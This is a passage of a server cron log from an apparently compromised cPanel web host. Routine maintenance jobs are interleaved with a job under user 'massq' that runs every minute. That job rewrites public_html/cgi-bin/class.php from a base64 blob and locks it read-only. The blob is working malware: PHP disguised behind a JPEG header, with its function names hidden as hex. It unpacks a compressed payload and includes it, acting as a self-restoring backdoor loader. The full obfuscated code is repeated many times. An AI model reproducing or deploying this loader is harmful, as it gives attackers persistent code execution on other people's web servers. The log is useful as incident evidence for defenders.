6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:16:01 server CROND[17666]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:16:01 server CROND[17667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:17:01 server CROND[18053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:17:01 server CROND[18052]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:17:01 server CROND[18054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:18:01 server CROND[18433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:18:01 server CROND[18434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:18:01 server CROND[18435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:19:01 server CROND[18807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:19:01 server CROND[18808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:19:01 server CROND[18809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:20:01 server CROND[19186]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 18:20:01 server CROND[19188]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:20:01 server CROND[19189]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 18:20:01 server CROND[19193]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:20:01 server CROND[19194]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 18:20:01 server CROND[19196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:20:01 server CROND[19200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:20:01 server CROND[19195]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 18:20:01 server CROND[19197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:21:01 server CROND[20126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:21:01 server CROND[20127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:21:01 server CROND[20128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:22:01 server CROND[20504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:22:01 server CROND[20506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:22:01 server CROND[20505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:23:01 server CROND[20894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:23:01 server CROND[20895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:23:01 server CROND[20896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:24:01 server CROND[21331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:24:01 server CROND[21332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:24:01 server CROND[21333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:25:01 server CROND[21748]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 18:25:02 server CROND[21750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:25:02 server CROND[21753]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 18:25:02 server CROND[21755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:25:02 server CROND[21756]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:25:02 server CROND[21757]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 18:25:02 server CROND[21754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:25:02 server CROND[21752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:26:01 server CROND[23012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:26:01 server CROND[23013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:26:01 server CROND[23014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:27:01 server CROND[23427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:27:01 server CROND[23428]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 18:27:01 server CROND[23430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:27:01 server CROND[23429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:28:01 server CROND[23839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:28:01 server CROND[23840]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 18:28:01 server CROND[23841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | 